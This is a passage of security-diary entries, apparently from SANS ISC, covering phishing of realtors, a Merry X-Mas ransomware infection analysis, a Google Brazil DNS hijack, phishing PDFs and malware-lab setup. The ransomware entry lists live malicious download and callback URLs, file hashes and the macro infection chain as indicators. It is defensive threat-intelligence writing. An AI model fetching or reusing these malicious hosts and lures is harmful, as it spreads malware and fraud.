  • UPNP usually uses HTTP like headers. These requests do not use any readable headers, just a brief binary pre-ample.
  • UPNP is typically using UDP. These requests arrive over TCP
  • UPNP uses XML/SOAP for its payload. These requests use what looks like JSON

Some newer versions of UPNP allow for REST/JSON instead of the older SOAP/XML format. But this still doesn't explain the missing headers. Port 37777 is typically used to stream video from CCTV DVRs, not for configuration. But then again, it is possible that some DVRs do accept configuration commands like the one shown above. But a request like this should probably be directed at the gateway/router, not the DVR. 

So there are still a lot of questions. Please let us know if you have any answers ;-)

[1] https://bløgg.no/2017/01/probes-towards-tcp37777/

Johannes B. Ullrich, Ph.D.


Published: 2017-01-10

Realtors Be Aware: You Are a Target

Real estate transactions are some of the higher value transactions performed by individuals and organizations. They often exceed hundreds of thousands of dollars in value, and for commercial properties, millions of dollars are quite normal. Many buyers and sellers are not familiar with what is normal when it comes to real estate transactions. Over the last few years, we have seen this exploited in a specific form of "Business E-Mail Compromise," where an attacker is injecting e-mails into conversations to trick the victim to transfer money to the wrong account.

A weak link in this transaction is often the realtor. Realtor's e-mail addresses are easy to find. Many realtors work more or less on their own and do not benefit from a corporate IT department with security monitoring. Instead, they use public webmail systems and heavily rely on cloud-based file sharing systems and e-mail attachments to exchange documents.

Recently, a realtor aware of this issue forwarded me the following exchange. Initially, the realtor received an e-mail that is very typical for the type of e-mail realtors receive from new clients:

Hi   My name is James  . I got your contact while searching for good realtor in Florida. My Partner and I are planning to relocate to the area by year end and would be interested in buying a house.  Are you full time realtor?.   Are we also suppose to contact bank as we are very new to this.

The realtor sent more or less a standard reply:

Hi, James: I will be very happy to help you with finding a home here. The first step is to get a mortgage pre approval letter. If you do not have any mortgage agent, I can recommend some. Give me a call when you have time.

Note that the realtor is asking for a mortgage pre-approval letter. This is a common "first step" to find out how much money the buyer can spend on a new house. Of course, James responded the next day:

Thanks  for getting  back to me on my request to purchase a house and sorry for the late response . I have been busy with some project . I actually got your contact while looking for good realtors online . Presently i live in Palos Hills Chicago, but i wish to have a property in your state for Income Revenue.Am interested in purchasing a 3 to 4 bed room house with a large parking garage ( a house with a pool within our price range will be perfect ).  I was told  i needed pre approval so  i obtained it  from my bank. I have shared it with you as well as details on desired location and  what I'm looking for via google docs . Check it and let me know so i can call you when i finish from meeting to decide when to come and view the property. 
Kind  Regards James        
Approval letter.pdf

Again, the e-mail is in-line with what you would expect from a buyer. Note the link to the "Approval Letter." This is where things get more interesting.

The link went to http:// myrealestategoogldrive .atspace.cc/ . A fairly "plausible" URL for a link like this. There are dozens of different file sharing sites out there, and this hostname is certainly in line with what a realtor would consider normal.

The site has been taken down now, but it offered a login screen asking for the realtor's webmail credentials. This is where the realtor contacting me got suspicious, so we do not know what "James" would have done with the credentials. But typically, the next steps involve:

  • "James" will use the realtor's e-mail credentials to log into the webmail system
  • Then, "James" will add a "Forward" address. This way, James will receive copies of all e-mails send to the realtor
  • Once an e-mail comes across the realtor's inbox asking for bank details to wire money, "James" will reply with his information

The result, if successful, is that the buyer transfers money to the wrong account. Sadly, these wire transfers ("ACH Transfers") are often not reversible. The money will typically go first to a domestic account that "James" is monitoring, and as soon as the money arrives, it will be forwarded to a foreign account at which point the trail of the money often gets lost.

Yes, the e-mails from "James" contain typos and bad grammar. But realtors will typically happily do business with you even if you are not an expert in the use of the English language.

Johannes B. Ullrich, Ph.D.


Published: 2017-01-09

Merry X-Mas ransomware from Sunday 2017-01-08


On Tuesday 2017-01-03, BleepingComputer published an article about "Merry X-Mas Ransomware" [1].  This ransomware was first seen by people like @PolarToffee, @dvk01uk, and @Techhelplistcom.  Merry X-Mas Ransomware was first reported as distributed through malicious spam (malspam) disguised as FTC consumer complaints [2].

By Sunday 2017-01-08, I saw an updated version of the Merry X-Mas Ransomware distributed through malspam disguised as court attendance notifications.

It seemed odd to find Christmas-themed ransomware two weeks after Christmas; however, Orthodox Christian communities celebrate Christmas on January 7th [3].  Ultimately, such Christmas-themed ransomware isn't odd if it's from a Russian actor.

With that in mind, let's review the characteristics of Sunday's Merry X-Mas ransomware.

Show above:  Comparison of Merry X-mas ransomware notifications from 2017-01-03 and 2017-01-08.

The malspam

The malspam was a fake notification to appear in court.  Email headers indicate the sender's address was spoofed, and the email came from a cloudapp.net domain associated with Microsoft.

  • Date/Time:  Sunday, 2017-01-08 15:40:24 UTC
  • Received from:  rcp-drools.rcp-drools.a10.internal.cloudapp.net 
  • Message-Id:  <201701081540.v08FeOZU013692@rcp-drools.rcp-drools.a10.internal.cloudapp.net>
  • From:  Court Agent
  • Subject:  Notice of court attendance

Show above:  Screenshot of the malspam.

The link from malspam downloaded a zip archive.  The zip archive contained a Microsoft Word document with a malicious macro.  If macros were enabled on the Word document, it downloaded and executed the ransomware.

Show above:  Flow chart of the infection process.

Show above:  From zip archive to Word macro.

On Sunday 2017-01-08, the infected Windows host had a ransom notification with text identical to the message seen on Tuesday 2017-01-03 [1, 2].  Sunday's image featured Robot Santa Claus from the TV show Futurama [4], which is appropriate, since that character is quite evil.

Show above:  Desktop of an infected Windows host.

The ransom notification was dropped to various directories on the computer as YOUR_FILES_ARE_DEAD.HTA, including the desktop.  The file extension for all encrypted files was .RMCM1 when I checked my infected host.

Show above:  File extensions noted from this infection.

The ransom notification was set in the registry for persistence as shown in the image below.

Show above:  Registry entry for the ransom notification to appear when logging on.

The traffic

Traffic remained consistent with last week's Merry X-Mas Ransomware example.  After downloading the zip archive and extracting Word document, I enabled macros.  That retrieved the ransomware binary from onion1.host over TCP port 443 as HTTP (not HTTPS).  The ransomware was stored as C:\Users\[username]\AppData\Roaming.eXe on the local host and deleted itself after running.  Post-infection callback sent information about the infected host to onion1.pw over TCP port 443 also as HTTP (not HTTPS).

Show above:  Traffic from the infection filtered in Wireshark.

Show above:  Word macro retrieving the ransomware binary.

Show above:  Ransomware binary stored on the local host before it deletes itself.

Show above:  Post-infection traffic sending details on the infected Windows host.

Indicators of Compromise (IoCs)

I submitted a pcap of the infection traffic to VirusTotal to see what alerts should trigger [5].  Two EmergingThreats rules triggered on the callback traffic as MRCR1 Ransomware.  MRCR1 is one of the file extensions seen for the encrypted files from last week's sample.  That might be a good name for this ransomware, especially if we see it again later using some other theme.

Show above: Suricata and Snort hits on the pcap from VirusTotal.

A full list of IoCs follow:

  • port 80 - neogenomes.com - GET /court/PlaintNote_12545_copy.zip  [initial zip download]
  • port 443 - onion1.host:443 - GET /temper/PGPClient.exe  [ransomware binary]
  • port 443 - onion1.pw  - POST /blog/index.php  [post-infection callback]
  • YOUR_FILES_ARE_DEAD.HTA  [ransom notification]
  • @comodosecurity  [Telegram POC from ransom notification]
  • comodosec@yandex.com  [email POC from ransom notification]
  • File name:  PlaintNote_12545_copy.zip
  • SHA256 hash:  86e98f1ddbb2953a5de8b3d550ac2fb45fd20d1305a12dfebc2ccb6e80717631
  • File description:  Zip archive from link in malspam
  • File name:  PlaintNote_12545_copy.doc
  • SHA256 hash:  244b4205acb416700bec459c8b36be379c0b7e3d2a21a57c4a121ba95d229bc4
  • File description:  Word document with malicious macro
  • File name:  C:\Users\[username]\AppData\Roaming.eXe
  • SHA256 hash:  78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae
  • File description:  Merry X-Mas Ransomware

Final words

Malspam with links to malware is a common threat.  This is not an unusual method of malware distribution, and its holiday theme also fits the season.  So why draw your attention to Merry X-Mas ransomware, you ask?

Such information emphasizes the ever-present threat of ransomware.  It also shows that despite the protective measures an organization might have in place, some people will click their way through warnings and infect their computers.  We wouldn't continue to see this type of activity if it wasn't profitable for the criminals involved.

I trust that most people reading this diary are aware of the threat, and most would not fall for this type of malspam.  Furthermore, some organizations already have protective measures in place that prevent these kind of ransomware infections.

Still, we need to keep an ongoing dialog to promote awareness of this and other ransomware threats.  Too many people continue to fall for it.

Pcap and malware for this diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net

[1] https://www.bleepingcomputer.com/news/security/merry-christmas-ransomware-and-its-dev-comodosecurity-not-bringing-holiday-cheer/
[2] https://myonlinesecurity.co.uk/spoofed-ftc-consumer-complaint-notification/
[3] http://www.independent.co.uk/life-style/orthodox-christmas-when-why-how-russia-celebrate-date-14-january-greek-greece-catholic-church-a7512666.html
[4] http://futurama.wikia.com/wiki/Robot_Santa_Claus
[5] https://www.virustotal.com/en/file/eb691d46a05ec1c90be31add563d94692aafef087c6fdd559e8da4378c0364e2/analysis/1483906212/


Published: 2017-01-07

Using Security Tools to Compromize a Network

One of our daily tasks is to assess and improve the security of our customers or colleagues. To achieve this use security tools (linked to processes). With the time, we are all building our personal toolbox with our favourite tools. Yesterday, I read an interesting blog article about extracting saved credentials from a compromised Nessus system[1]. This in indeed a nice target for the bad guy! Why?

Such security tools deployed inside a network have interesting characteristics:

  • They have credentials stored in configuration files or databases. They just need those credentials to be able to perform their tasks. A vulnerability scanner is a good example. It may have Windows credentials, SSH credentials to connect to the scanned systems and perform a local scan.
  • They contain interesting data to build the topology of the network or to discover all the assets (IP addresses, VLANs, remote sites, etc)
  • They are allowed to connect to ANY hosts in the network (just because they need to scan the network)
  • Their IP addresses might be excluded from the log files (just because they are way too verbose)

The first blog article reminded me other bad stories with security products:

  • McAfee ePolicy Orchestrator[2]
  • Acunetix web scanner [3]

And the same remains valid also with monitoring tools like Nagios[4].

The security of security/monitoring tools must be addressed like any other regular asset. Access to them must be restricted, logged and they must be installed with least privileges. But hat’s what you already do, right?

[1] https://www.appsecconsulting.com/blog/extracting-saved-credentials-from-a-pwn3d-nessus-system/
[2] https://funoverip.net/2013/06/mcafee-epolicy-0wner-preview/
[3] https://osandamalith.com/2014/04/24/pwning-script-kiddies-acunetix-buffer-overflow/
[4] http://seclists.org/fulldisclosure/2016/Dec/58

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-01-06

Great Misadventures of Security Vendors: Absurd Sandboxing Edition

Like many security researchers, I employ a variety of OPSEC techniques to help detect if I have been targeted by something for whatever reason. One of those techniques I use in Virustotal is basically a vanity Yara rule that looks for a variety of strings that would indicate malware was specifically targeting me or some data was uploaded that references me.  Virustotal Intelligence is a useful too for doing that and many researchers have paid for access which allows you to also download samples that have been uploaded.

Recently, my vanity Yara rule has been bombarding me with samples that are flagging on some of those keywords.  What's interesting is that those files weren't malware or anything even capable of being infested with malware.  It turns out they are actually SQLite databases of a cookie story (and flagging off some relevant domains I'm monitoring for).

Here are screen shots of the Hex and Strings dump from Virustotal intelligence for one of the files:

Hex Screenshot from VirustotalASCII strings of virustotal screenshotThere isn't anything special about the database per se (except there are some domains in there I care about), what makes this interesting is that someone was sending ALOT of SQLlite cookie databases to Virustotal making those cookies available for anyone with a paid account to download.  Plenty of tracking cookies and things of minimal consequence, but there were cookies for Gmail, Facebook, etc and as many readers know, those cookies never expire, meaning operational login credentials are out in the wild (the example file I chose above, if you could figure out the hash, only has cookies from 2011).

This begs the question of why these files were uploaded in the first place.  This goes back to research I presented at THOTCON in Chicago last year (a great conference, you should go). You can read the slides here. What that research showed was there were tons of SSH private keys, GPG private keys (most of which had no passwords), config files with database authentication information and so on.  All of those files are text which have no reason ever to be sent to a sandbox (you can't execute text).  The same is true for a SQLlite database, what exactly are you going to sandbox?

The reality is, there is some automated solutions out there that submit EVERYTHING they see to Virustotal and use that information to make security decisions. It's been known this happens and Virustotal doesn't like it one bit. For organizations, however, that are using those solutions, everything that passes through that solution is being sent to Virustotal and able to be downloaded by many researchers, and not just myself.  That means if you have sensitive documents that you don't want others to see, your security solution may be sending it automatically to Virustotal as part of routine scanning (call it "machine learning" if you like) to see if it's bad but in so doing, they are exposing and sending your sensitive information to third parties. This includes sensitive documents (which have some reason to be sandboxed due to macros), but in many cases it's just scanning things no reason to ever be sandboxed.

The takeaway for your organizations is to check if you have security tools that are sending your internal files out to "the cloud" and then making it available to others.  There is no felony if I download trade secrets from my competitor if they are freely available on Virustotal. Good news is that it's easy to look for (search for tons of things being sent to Virustotal). The bad news is, despite the dust-up last year, it's still happening.

John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity


Published: 2017-01-06

Ransomware Operators Cold Calling UK Schools to Get Malware Through

UK Law Enforcement authorities released an alert on Wednesday about a new tactic to install ransomware.  There are generally two approaches to ransomware attacks, "napalm the earth" and what I call "high-interaction" ransomware attacks that involve some layer of victim communication.  Napalm the earth favors quantity over quality, where high-interaction employs some targeting, lures and direct communication with the victim. In short, the attackers have some preparation before the attack.

In this case, the attackers would cold call schools under the guise of being from the "Department of Education" and request the direct email address of the head teacher or head financial officer.  Sometimes it was to send testing guidance, others it was to send mental health assessment forms.  They would then send a zip file with a document file and, if opened, start the chain of infection to install ransomware.  So there are several interesting things going on.

The cold call is an attempt to claim legitimacy so the recipient is not only expecting an email but that the email is relevant to them and requires their attention.

The attack is targeted to those in the administrative level in a school, so odds are if there are access controls, those individuals probably have complete rights to everything. Even if they don't, they do have access to the most sensitive and valuable information.

Once infected, the victims would have to pay up to £8,000 to recover their files.

Their are some mistakes the attacker has made that might help the attentive listener (they say Department of Education when its the Department for Education in the UK) that indicate the attacker was likely not from the UK.  In high-interaction attacks, it is these subtle mistakes that provide the essential clues that something is not right. One of the most successful phishes I have seen by success rate was the infamous "fake subpoena" phish.  Even there, you can recognize the use of British English which would never be in US legal process.

Other key ransomware defenses would help here too: strong backups, updated endpoint protection and up-to-date patches.

In the end, the best defense is an attentive and security-conscious user.

John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity


Published: 2017-01-05

Was the Brazilian version of Google hijacked two days ago?

ISC reader Renato Marihno wrote in with some interesting observations out of Brazil the last couple of days.  It seems for about 30 minutes on January 3rd, google.com.br did not point to Google's IP space and the nameservers were set to ns1-leader.vivawebhost.com and ns2-leader.vivawebhost.com.  The issue was relatively quickly discovered and corrected but still shows the risk that hijacked registrant account access can be for enterprises.  You can read Renato's write up on LinkedIn.

This is a reminder that if an attacker controls DNS, they control everything. And if they control your domain registrant account, they control DNS.  This attack was crude and easy to discover, but it would be very easy to set of a man-in-the-middle attack using such a technique without a mitigating control like TLS in place.  Make sure your domain registry accounts require two-factor authentication and have strong passwords.

John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity


Published: 2017-01-05

New Year's Resolution: Build Your Own Malware Lab?

If you're looking to build your own malware lab using open-source tools to take your GREM skills to the next level, take a look at Robert Simmons' of ThreatConnect's talk at VirusBulletin from a few months ago. Has a brief paper, but the video is people what you want to look at if you are new to all this. In essence, it is set up of the following components: Cuckoo Sandbox (with some modications), volatility (for memory analysis), thug (for a low interaction honeyclient), and Bro (for network analysis).  It probably would only take a half-day of your time to set up and you can be off to the races on analyzing malware that's fresh off the wire.

Couple of notes, always be sure to do this from a non-attributed network (i.e. not your company).  Sandboxing involves running actual malware so it will set off the IDS.  Many of my sandbox systems run behind a pfsense firewall that connects to a commodity VPN so I can't easily be directly tied to things and has the advantages of letting me change what country I "am in" as malware may behave differently when it thinks it is running in different countries.

Take a look and let us know if you find more interesting things out there with your malware hunting efforts.

John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity


Published: 2017-01-04

Mixed Messages : Novel Phishing Attempts Trying to Steal Your E-mail Password Goes Wrong

A writer wrote in to send us an interesting phishing attempt they had received at their organization.  An email from a school domain that purported to be VetMeds send an "encrypted" PDF that required a user-name and password to log in to. The subject of the email was "Assessment document".  The PDF itself was created with Microsoft Word and included a link that suggested it was a locked document and you needed to click a link to unlock it which pointed to chai[.]myjino[.]ru and gave a screen with a purported PDF behind it and a login box that it happily accepts.  Below are some screenshots, but some notes. Updated versions of Acrobat should ask before going off to bad websites.  What I found interesting was the lure was a VetMeds assessment but the underlying document at the Russian website is for a SWIFT transaction, so some mixes messages there.

Some advice, be wary of emails from domains that don't match the contents, note that encrypted PDF documents are not locked this way (and will never ask you for your actual email password anyway), and look for other inconsistencies that give these away as scams. Make sure users are aware of the little tell-tale signs below so they can stop themselves before becoming victims.

Fake PDF Example

Fake PDF Two, email and password request

PDF Warning for offsite links

John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity


Published: 2017-01-01

py2exe Decompiling - Part 1

This malware sample is written in Python and compiled to a .exe file with py2exe (we also wrote diary entries about Python malware compiled with PyInstaller).

Looking at the resources with pecheck.py, we see a PYTHON27.DLL resource and a PYTHONSCRIPT resource:

Executables compiled with py2exe for Python 2.7 can be reversed with unpy2exe.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com